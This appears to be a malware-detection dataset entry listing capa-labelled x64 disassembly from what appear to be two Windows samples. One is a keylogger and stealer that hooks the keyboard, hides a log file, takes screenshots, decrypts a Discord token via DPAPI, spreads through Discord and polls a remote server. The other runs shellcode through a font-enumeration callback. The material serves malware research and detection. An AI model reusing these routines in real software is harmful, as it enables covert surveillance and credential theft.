joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6ff8eb90
Capabilities:
Encode data using xor

Disassembly:
movabs rax, 0x6f7e757275726c1b
push r14
push r13
push r12
push rbp
push rdi
mov rdi, rcx
push rsi
push rbx
sub rsp, 0x50
mov byte [rsp + 0x47], 0
lea rdx, [rsp + 0x46]
mov dword [rsp + 0x43], 0x77777f35
mov qword [rsp + 0x3b], rax
lea rax, [rsp + 0x3b]
mov rbx, rax
xor byte [rax + 1], 0x1b
inc rax
cmp rax, rdx
jne 0x6ff8ebca
lea r13, [rsp + 0x3c]
mov byte [rsp + 0x47], 0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r12, rax
test rax, rax
je 0x6ff8ed92
mov byte [rsp + 0x49], 0
lea rdx, [rsp + 0x48]
movabs rax, 0x7f74687f6e74531a
mov dword [rsp + 0x43], 0x7f6a556e
mov word [rsp + 0x47], 0x5b74
mov qword [rsp + 0x3b], rax
mov rax, rbx
xor byte [rax + 1], 0x1a
inc rax
cmp rax, rdx
jne 0x6ff8ec20
mov rdx, r13
mov byte [rsp + 0x49], 0
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, r12
call rsi
mov byte [rsp + 0x4c], 0
lea rdx, [rsp + 0x4b]
mov r14, rax
mov byte [rsp + 0x4b], 0x77
movabs rax, 0x5358445342587f36
mov qword [rsp + 0x3b], rax
movabs rax, 0x5a44635853467942
mov qword [rsp + 0x43], rax
mov rax, rbx
xor byte [rax + 1], 0x36
inc rax
cmp rax, rdx
jne 0x6ff8ec73
mov rdx, r13
mov byte [rsp + 0x4c], 0
mov rcx, r12
call rsi
mov byte [rsp + 0x4f], 0
lea rdx, [rsp + 0x4e]
mov rbp, rax
mov dword [rsp + 0x4b], 0x5c555d57
movabs rax, 0x5c574b5c4d577039
mov qword [rsp + 0x3b], rax
movabs rax, 0x58715c4a56557a4d
mov qword [rsp + 0x43], rax
mov rax, rbx
xor byte [rax + 1], 0x39
inc rax
cmp rdx, rax
jne 0x6ff8ecc2
mov rdx, r13
mov byte [rsp + 0x4f], 0
mov rcx, r12
call rsi
test r14, r14
sete dl
test rbp, rbp
mov rsi, rax
sete al
or dl, al
jne 0x6ff8ed89
test rsi, rsi
je 0x6ff8ed89
mov byte [rsp + 0x44], 0
lea rdx, [rsp + 0x43]
movabs rax, 0x667967181c1c0048
mov byte [rsp + 0x43], 0x79
mov qword [rsp + 0x3b], rax
mov rax, rbx
xor byte [rax + 1], 0x48
inc rax
cmp rax, rdx
jne 0x6ff8ed1c
mov rcx, r13
mov byte [rsp + 0x44], 0
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0
mov edx, 1
xor ebx, ebx
call r14
mov r13, rax
test rax, rax
je 0x6ff8ed89
cmp dword [rdi + 0x800], ebx
jle 0x6ff8ed84
mov rcx, r13
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
call rbp
mov rcx, rax
test rax, rax
je 0x6ff8ed84
call rsi
inc ebx
jmp 0x6ff8ed50
mov rcx, r13
call rsi
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret

Function at 0x6ff8edc0
Capabilities:
Check mutex on windows
Encode data using xor

Disassembly:
movabs rax, 0x52794d435e5b7537
sub rsp, 0x48
mov byte [rsp + 0x3f], 0
lea rdx, [rsp + 0x3e]
mov qword [rsp + 0x2f], rax
movabs rax, 0x4359525e5b741a43
mov qword [rsp + 0x37], rax
lea rax, [rsp + 0x2f]
xor byte [rax + 1], 0x37
inc rax
cmp rax, rdx
jne 0x6ff8edf1
xor ecx, ecx
mov byte [rsp + 0x3f], 0
lea r8, [rsp + 0x30]
mov edx, 1
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [sym.main.exe_hBlitzMutex], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x6ff8ee2d
call fcn.6ff8ee40
add rsp, 0x48
ret
Function at 0x6ff8f8a0
Capabilities:
Encode data using base64

Disassembly:
push r14
xor eax, eax
push r13
push r12
push rbp
push rdi
push rsi
push rbx
mov rbx, rcx
or rcx, 0xffffffffffffffff
mov rdi, rbx
sub rsp, 0x20
repne scasb al, byte [rdi]
mov rax, rcx
mov ecx, 3
not rax
dec rax
mov esi, eax
shl eax, 2
cdq
idiv ecx
add eax, 4
movsxd rcx, eax
call sub.msvcrt.dll_malloc
mov r10, rax
test rax, rax
je 0x6ff8f9ef
xor edi, edi
xor r9d, r9d
xor ecx, ecx
xor r8d, r8d
mov r12d, 3
mov r13d, 2
lea rbp, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
movsxd r11, r9d
add r11, r10
cmp edi, esi
jge 0x6ff8f98c
mov eax, edi
mov ecx, r13d
cdq
idiv r12d
movzx eax, byte [rbx + rdi]
sub ecx, edx
shl ecx, 3
shl eax, cl
add r8d, eax
cmp ecx, 0x10
jne 0x6ff8f937
mov eax, r8d
inc r9d
shr eax, 0x12
jmp 0x6ff8f97a
cmp ecx, 8
je 0x6ff8f971
test ecx, ecx
jne 0x6ff8f984
cmp edi, 3
je 0x6ff8f984
mov edx, r8d
and r8d, 0x3f
lea eax, [r9 + 1]
add r9d, 2
shr edx, 6
cdqe
and edx, 0x3f
mov dl, byte [rbp + rdx]
mov byte [r11], dl
mov dl, byte [rbp + r8]
xor r8d, r8d
mov byte [r10 + rax], dl
jmp 0x6ff8f984
mov eax, r8d
inc r9d
shr eax, 0xc
and eax, 0x3f
mov al, byte [rbp + rax]
mov byte [r11], al
inc rdi
jmp 0x6ff8f906
cmp ecx, 0x10
jne 0x6ff8f9bd
shr r8d, 0xc
lea rax, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
lea edx, [r9 + 1]
and r8d, 0x3f
movsxd rdx, edx
mov al, byte [rax + r8]
mov byte [r11], al
lea eax, [r9 + 2]
add r9d, 3
mov byte [r10 + rdx], 0x3d
jmp 0x6ff8f9e0
cmp ecx, 8
jne 0x6ff8f9e7
shr r8d, 6
lea rdx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
lea eax, [r9 + 1]
add r9d, 2
and r8d, 0x3f
mov dl, byte [rdx + r8]
mov byte [r11], dl
cdqe
mov byte [r10 + rax], 0x3d
movsxd rax, r9d
mov byte [r10 + rax], 0
add rsp, 0x20
mov rax, r10
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x6ff8fcd0
Capabilities:
Create process on windows
Log keystrokes via polling
Terminate process

Disassembly:
push r12
xor ecx, ecx
mov r8d, 0x104
push rdi
push rbx
sub rsp, 0x1e0
lea r12, [rsp + 0xdc]
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rsp + 0x70]
xor eax, eax
xor r9d, r9d
lea r8, [rsp + 0x58]
mov rdi, rdx
mov ecx, 0x1a
rep stosd dword [rdi], eax
mov rdi, r8
mov ecx, 6
mov dword [rsp + 0x70], 0x68
rep stosd dword [rdi], eax
mov qword [rsp + 0x48], r8
xor r8d, r8d
mov qword [rsp + 0x40], rdx
mov rdx, r12
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x6ff8fd70
mov rcx, qword [rsp + 0x58]
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rbx
mov rcx, qword [rsp + 0x60]
call rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x6ff91450
Capabilities:
Encode data using xor
Get file attributes
Get graphical window text
Set file attributes
Write file on windows

Disassembly:
push r14
xor r9d, r9d
mov r8d, 3
mov edx, 4
push r13
mov r13, rcx
lea rcx, [sym.main.exe_blz_logfile]
push r12
push rdi
push rsi
push rbx
sub rsp, 0xd68
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x6ff9163b
mov r12, rax
lea rcx, [sym.main.exe_blz_logfile]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test al, 2
jne 0x6ff914c7
or eax, 2
lea rcx, [sym.main.exe_blz_logfile]
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rcx, rax
test rax, rax
je 0x6ff91603
lea r14, [rsp + 0x160]
mov r8d, 0x400
mov rdx, r14
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov rdx, r14
lea rcx, [sym.main.exe_blz_curr_program]
call sub.msvcrt.dll_strcpy
lea rdx, [sym.main.exe_blz_prev_program]
lea rcx, [sym.main.exe_blz_curr_program]
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x6ff91603
lea rdx, [sym.main.exe_blz_curr_program]
lea rcx, [sym.main.exe_blz_prev_program]
call sub.msvcrt.dll_strcpy
xor ecx, ecx
lea rbx, [rsp + 0x60]
call qword [sym.imp.msvcrt.dll__time64]
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x48], rax
call qword [sym.imp.msvcrt.dll__localtime64]
mov edx, 0x100
lea r8, [rsp + 0x561]
mov rcx, rbx
mov dword [rsp + 0x560], 0x632573
mov r9, rax
call sub.msvcrt.dll_strftime
mov byte [rsp + 0x5f], 0
lea rdx, [rsp + 0x5e]
movabs rax, 0x4a37194f3160606a
mov dword [rsp + 0x58], 0x4f314a47
mov word [rsp + 0x5c], 0x3719
mov byte [rsp + 0x5e], 0x60
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rsi, rax
xor byte [rax + 1], 0x6a
inc rax
cmp rax, rdx
jne 0x6ff915a2
mov qword [rsp + 0x20], rbx
lea r8, [rsp + 0x51]
mov edx, 0x800
lea r14, [rsp + 0x560]
lea r9, [sym.main.exe_blz_curr_program]
mov rcx, r14
mov byte [rsp + 0x5f], 0
mov rdi, r14
call sym.main.exe_snprintf_char__unsigned_long_long__char_const__::_
or rcx, 0xffffffffffffffff
xor eax, eax
mov r9, rsi
repne scasb al, byte [rdi]
mov rdx, r14
mov qword [rsp + 0x20], 0
not rcx
lea r8d, [rcx - 1]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r13
mov rdx, r13
repne scasb al, byte [rdi]
lea r9, [rsp + 0x560]
mov qword [rsp + 0x20], 0
not rcx
lea r8d, [rcx - 1]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0xd68
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
ret
Function at 0x6ff91650
Capabilities:
Capture screenshot
Write file on windows

Disassembly:
push r15
push r14
push r13
mov r13, rcx
xor ecx, ecx
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xc8
mov rsi, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rsi
mov ecx, 1
mov ebx, eax
call rsi
xor ecx, ecx
mov esi, eax
call qword [sym.imp.USER32.dll_GetDC]
mov r14, rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r8d, esi
mov edx, ebx
mov rcx, r14
mov r12, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rcx, r12
mov rdx, rax
mov r15, rax
mov rax, qword [sym.imp.GDI32.dll_SelectObject]
mov qword [rsp + 0x60], rax
call rax
xor r8d, r8d
xor edx, edx
mov r9d, ebx
mov rcx, r12
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], esi
call qword [sym.imp.GDI32.dll_BitBlt]
mov eax, esi
xor r9d, r9d
xor r8d, r8d
neg eax
mov rcx, r13
mov dword [rsp + 0x98], 0x28
mov edx, 0x40000000
mov dword [rsp + 0x9c], ebx
mov dword [rsp + 0xa0], eax
mov qword [rsp + 0xa4], 0x180001
mov qword [rsp + 0xac], 0
mov qword [rsp + 0xb4], 0
mov dword [rsp + 0xbc], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x6ff918be
imul ebx, esi
mov r13, rax
lea rdi, [rsp + 0x84]
mov rbp, qword [sym.imp.KERNEL32.dll_WriteFile]
lea rdx, [rsp + 0x8a]
mov r9, rdi
mov r8d, 0xe
mov rcx, r13
mov word [rsp + 0x8a], 0x4d42
mov qword [rsp + 0x20], 0
lea eax, [rbx + rbx*2]
lea rbx, [rsp + 0x98]
mov dword [rsp + 0x58], eax
add eax, 0x36
mov dword [rsp + 0x8c], eax
mov eax, 0x1b
shl rax, 0x21
mov qword [rsp + 0x90], rax
call rbp
mov r9, rdi
mov r8d, 0x28
mov rdx, rbx
mov qword [rsp + 0x20], 0
mov rcx, r13
call rbp
mov r10, qword [sym.imp.GDI32.dll_GetDIBits]
mov r9d, esi
xor r8d, r8d
mov rdx, r15
mov rcx, r12
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x78], r10
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], 0
call r10
mov ecx, dword [rsp + 0x58]
call sub.msvcrt.dll_malloc
mov r10, qword [rsp + 0x78]
mov r9d, esi
xor r8d, r8d
mov rdx, r15
mov rcx, r12
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x70], rax
call r10
mov r11, qword [rsp + 0x70]
mov r8d, dword [rsp + 0x58]
mov r9, rdi
mov qword [rsp + 0x20], 0
mov rcx, r13
mov rdx, r11
mov qword [rsp + 0x58], r11
call rbp
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r11, qword [rsp + 0x58]
mov rcx, r11
call fcn.6ff8e3b8
mov rdx, qword [rsp + 0x68]
mov rcx, r12
mov rax, qword [rsp + 0x60]
call rax
mov rcx, r15
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r12
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x6ff934b0
Capabilities:
Encode data using xor

Disassembly:
movabs rax, 0x292d242f3e33387f
push r12
push rbx
sub rsp, 0x58
mov byte [rsp + 0x4f], 0
lea rdx, [rsp + 0x4e]
mov dword [rsp + 0x48], 0x36023938
mov word [rsp + 0x4c], 0x2438
mov byte [rsp + 0x4e], 0x7f
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x3f]
xor byte [rax + 1], 0x5d
inc rax
cmp rdx, rax
jne 0x6ff934e9
lea rdx, [rsp + 0x40]
mov byte [rsp + 0x4f], 0
call sub.msvcrt.dll_strstr
mov r9, rax
test rax, rax
je 0x6ff93599
mov edx, 0x3a
mov rcx, rax
call sub.msvcrt.dll_strchr
mov r9, rax
test rax, rax
je 0x6ff93599
mov edx, 0x800013
lea rbx, [rax + 1]
shl rdx, 9
mov al, byte [rbx]
cmp al, 0x20
jbe 0x6ff93541
xor r9d, r9d
cmp al, 0x22
je 0x6ff9354c
jmp 0x6ff93599
bt rdx, rax
jae 0x6ff93596
inc rbx
jmp 0x6ff93532
lea r12, [rbx + 1]
mov edx, 0x22
mov rcx, r12
call sub.msvcrt.dll_strchr
mov r9, rax
test rax, rax
je 0x6ff93599
sub r9, rbx
lea r8, [r9 - 1]
mov rcx, r9
mov rbx, r9
mov qword [rsp + 0x28], r8
call sub.msvcrt.dll_malloc
mov r8, qword [rsp + 0x28]
mov rdx, r12
mov rcx, rax
call sub.msvcrt.dll_strncpy
mov byte [rax + rbx - 1], 0
mov r9, rax
jmp 0x6ff93599
xor r9d, r9d
add rsp, 0x58
mov rax, r9
pop rbx
pop r12
ret

Function at 0x6ff935b0
Capabilities:
Encode data using xor

Disassembly:
movabs rax, 0x3150804140e0367
push r12
push rbx
sub rsp, 0x38
mov byte [rsp + 0x2f], 0
lea rdx, [rsp + 0x2e]
mov dword [rsp + 0x29], 0x6090604
mov word [rsp + 0x2d], 0x1e15
mov qword [rsp + 0x21], rax
lea rax, [rsp + 0x21]
mov rbx, rax
xor byte [rax + 1], 0x67
inc rax
cmp rax, rdx
jne 0x6ff935e7
lea r12, [rsp + 0x22]
mov byte [rsp + 0x2f], 0
mov rcx, r12
call sym.main.exe_discord_spread_char_const_
mov byte [rsp + 0x2c], 0
lea rdx, [rsp + 0x2b]
movabs rax, 0x2140905150f0266
mov word [rsp + 0x29], 0x1216
mov byte [rsp + 0x2b], 4
mov qword [rsp + 0x21], rax
mov rax, rbx
xor byte [rax + 1], 0x66
inc rax
cmp rax, rdx
jne 0x6ff9362d
mov rcx, r12
mov byte [rsp + 0x2c], 0
call sym.main.exe_discord_spread_char_const_
mov byte [rsp + 0x29], 0
lea rdx, [rsp + 0x28]
movabs rax, 0x21372a26362c2145
mov qword [rsp + 0x21], rax
mov rax, rbx
xor byte [rax + 1], 0x45
inc rax
cmp rax, rdx
jne 0x6ff93662
mov rcx, r12
mov byte [rsp + 0x29], 0
call sym.main.exe_discord_spread_char_const_
add rsp, 0x38
pop rbx
pop r12
ret
Function at 0x6ff93690
Capabilities:
Encode data using xor

Disassembly:
push r14
push r13
push r12
movabs r12, 0x5505052415f5b28
push rbp
movabs rbp, 0x2c7a702b2d3e2b2c
push rdi
movabs rdi, 0x3a2d002b3a38705f
push rsi
mov rsi, rcx
push rbx
sub rsp, 0x150
mov byte [rsp + 0x45], 0
lea rax, [rsp + 0x35]
lea rdx, [rsp + 0x44]
mov qword [rsp + 0x35], rdi
mov rbx, rax
mov qword [rsp + 0x3d], rbp
xor byte [rax + 1], 0x5f
inc rax
cmp rax, rdx
jne 0x6ff936de
lea r14, [rsp + 0x36]
lea r13, [rsp + 0x50]
mov r8, rsi
mov byte [rsp + 0x45], 0
mov rdx, r14
mov rcx, r13
call sym.main.exe_sprintf_char__char_const__::_
mov byte [rsp + 0x4f], 0
lea rdx, [rsp + 0x4e]
movabs rax, 0x4d4605525c41444a
mov qword [rsp + 0x35], r12
mov word [rsp + 0x4d], 0x4d4b
mov qword [rsp + 0x3d], rax
movabs rax, 0x49585b064e40065c
mov qword [rsp + 0x45], rax
mov rax, rbx
xor byte [rax + 1], 0x28
inc rax
cmp rax, rdx
jne 0x6ff9373e
mov rdx, r13
lea r8, [rsp + 0x28]
mov rcx, r14
mov byte [rsp + 0x4f], 0
call sym.main.exe_http_get_request_char_const__char_const__char_
mov r13, qword [rsp + 0x28]
test r13, r13
je 0x6ff937a8
mov byte [rsp + 0x3a], 0
mov rax, rbx
lea rdx, [rsp + 0x39]
mov dword [rsp + 0x35], 0x36313743
mov byte [rsp + 0x39], 0x26
xor byte [rax + 1], 0x43
inc rax
cmp rax, rdx
jne 0x6ff93783
mov rdx, r14
mov rcx, r13
mov byte [rsp + 0x3a], 0
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x6ff937a8
call sym.main.exe_blitz_restart__
mov rcx, r13
call sym.main.exe_http_free_char_
mov ecx, 0x3a98
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x6ff936c2
Function at 0x6ff937c0
Capabilities:
Encode data using xor
Encrypt data using dpapi
Get file size
Query environment variable
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x488
mov qword [rbp + 0x18], rdx
call sub.msvcrt.dll_getenv
mov byte [rbp - 0x446], 0
lea rcx, [rbp - 0x458]
mov r9, qword [rbp + 0x18]
mov word [rbp - 0x448], 0x1c0d
mov r8, rax
mov rbx, rcx
movabs rax, 0x35250a5c250a5c79
mov qword [rbp - 0x458], rax
movabs rax, 0x180d2a5915181a16
mov qword [rbp - 0x450], rax
lea rax, [rbp - 0x447]
xor byte [rcx + 1], 0x79
inc rcx
cmp rcx, rax
jne 0x6ff93829
lea r12, [rbp - 0x440]
lea rdx, [rbp - 0x457]
mov byte [rbp - 0x446], 0
mov rcx, r12
call sym.main.exe_sprintf_char__char_const__::_
mov rcx, r12
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x80000000
xor r12d, r12d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x6ff939dd
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r8d, eax
mov eax, eax
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.6ff82780
sub rsp, rax
lea r9, [rbp - 0x47c]
mov rcx, r14
mov qword [rsp + 0x20], 0
lea r15, [rsp + 0x40]
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rbp - 0x47c]
mov rcx, r15
mov byte [rsp + rax + 0x40], 0
call sym.main.exe_discord_extract_key_char_const_
mov rcx, rax
mov r14, rax
call sym.main.exe_base64_decode_char_const_
mov rdi, r14
or rcx, 0xffffffffffffffff
xor r9d, r9d
mov r15, rax
lea rax, [rax + 5]
xor edx, edx
mov r8, rbx
mov qword [rbp - 0x470], rax
xor eax, eax
repne scasb al, byte [rdi]
mov dword [rsp + 0x28], 0
mov qword [rbp - 0x450], 0
mov dword [rbp - 0x458], 0
mov qword [rsp + 0x20], 0
mov rax, rcx
lea rcx, [rbp - 0x478]
not rax
dec rax
mov dword [rbp - 0x478], eax
lea rax, [rbp - 0x468]
mov qword [rsp + 0x30], rax
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x6ff939c5
mov ebx, dword [rbp - 0x468]
lea rsi, str._02x
lea ecx, [rbx + 1]
call sub.msvcrt.dll_malloc
lea ecx, [rbx + rbx + 1]
xor ebx, ebx
mov r13, rax
call sub.msvcrt.dll_malloc
mov r12, rax
mov eax, dword [rbp - 0x468]
mov r8, qword [rbp - 0x460]
cmp ebx, eax
jae 0x6ff939b5
mov eax, ebx
lea ecx, [rbx + rbx]
mov rdx, rsi
inc ebx
movzx r8d, byte [r8 + rax]
add rcx, r12
call sym.main.exe_sprintf_char__char_const__::_
jmp 0x6ff9398b
add eax, eax
mov rcx, r8
mov byte [r12 + rax], 0
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, r14
call sym.main.exe_base64_free_char_
mov rcx, r15
call fcn.6ff8e3b8
mov rcx, r13
call fcn.6ff8e3b8
lea rsp, [rbp - 0x38]
mov rax, r12
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x6ff93a00
Capabilities:
Encode data using xor
Log keystrokes via application hook
Query environment variable

Disassembly:
push r13
mov r8d, 0x104
xor ecx, ecx
push r12
push rsi
push rbx
sub rsp, 0x278
lea r12, [rsp + 0x16c]
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x5c
mov rcx, r12
call sub.msvcrt.dll_strrchr
mov byte [rsp + 0x37], 0
lea rdx, [rsp + 0x36]
mov dword [rsp + 0x32], 0x262e3f6b
lea r9, [rax + 1]
lea rax, [rsp + 0x32]
mov byte [rsp + 0x36], 0x3b
xor byte [rax + 1], 0x6b
inc rax
cmp rax, rdx
jne 0x6ff93a53
lea rcx, [rsp + 0x33]
mov qword [rsp + 0x28], r9
mov byte [rsp + 0x37], 0
call sub.msvcrt.dll_getenv
mov byte [rsp + 0x3e], 0
lea rdx, [rsp + 0x38]
mov r9, qword [rsp + 0x28]
mov dword [rsp + 0x38], 0x6297f5a
mov r8, rax
mov rbx, rdx
lea rax, [rsp + 0x3d]
mov word [rsp + 0x3c], 0x297f
xor byte [rdx + 1], 0x5a
inc rdx
cmp rax, rdx
jne 0x6ff93a9c
lea r12, [rsp + 0x68]
lea r13, [rsp + 0x39]
mov byte [rsp + 0x3e], 0
mov rdx, r13
mov rcx, r12
call sym.main.exe_sprintf_char__char_const__::_
mov edx, 0x2e
mov rcx, r12
call sub.msvcrt.dll_strrchr
test rax, rax
je 0x6ff93aeb
mov byte [rax + 1], 0
mov rdx, r13
mov rcx, r12
mov dword [rsp + 0x39], 0x676f6c
call sub.msvcrt.dll_strcat
mov rdx, r12
lea rcx, [sym.main.exe_blz_logfile]
call sub.msvcrt.dll_strcpy
xor r9d, r9d
xor r8d, r8d
mov ecx, 0xd
lea rdx, [sym.main.exe_blitz_kbd_proc_int__unsigned_long_long__long_long_]
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov rsi, qword [sym.imp.USER32.dll_GetMessageA]
mov r13, qword [sym.imp.USER32.dll_DispatchMessageA]
mov r12, rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call rsi
test eax, eax
jle 0x6ff93b45
mov rcx, rbx
call qword [sym.imp.USER32.dll_TranslateMessage]
mov rcx, rbx
call r13
jmp 0x6ff93b23
mov rcx, r12
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x278
pop rbx
pop rsi
pop r12
pop r13
ret
Function at 0x1400111f4
Capabilities:
Terminate process

Disassembly:
jmp 0x140014ff0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011267
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
jmp 0x140011820
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x1400220fa]
call fcn.14001136b
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0xa
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 8], rax
mov r8d, 0xa
lea rdx, str.shellcode
mov rcx, qword [rbp + 8]
call fcn.1400111ae
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov qword [rbp + 0x28], rax
xor r9d, r9d
mov r8, qword [rbp + 8]
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.GDI32.dll_EnumFontsW]
xor eax, eax
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x140011271
Capabilities:
Parse pe header

Disassembly:
jmp 0x140012d00
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140012d20
xor al, al
jmp 0x140012da1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140012d33
xor al, al
jmp 0x140012da1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140012d5d
xor al, al
jmp 0x140012da1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140012d71
xor al, al
jmp 0x140012da1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140012d83
xor al, al
jmp 0x140012da1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140012d9f
xor al, al
jmp 0x140012da1
mov al, 1
add rsp, 0x38
ret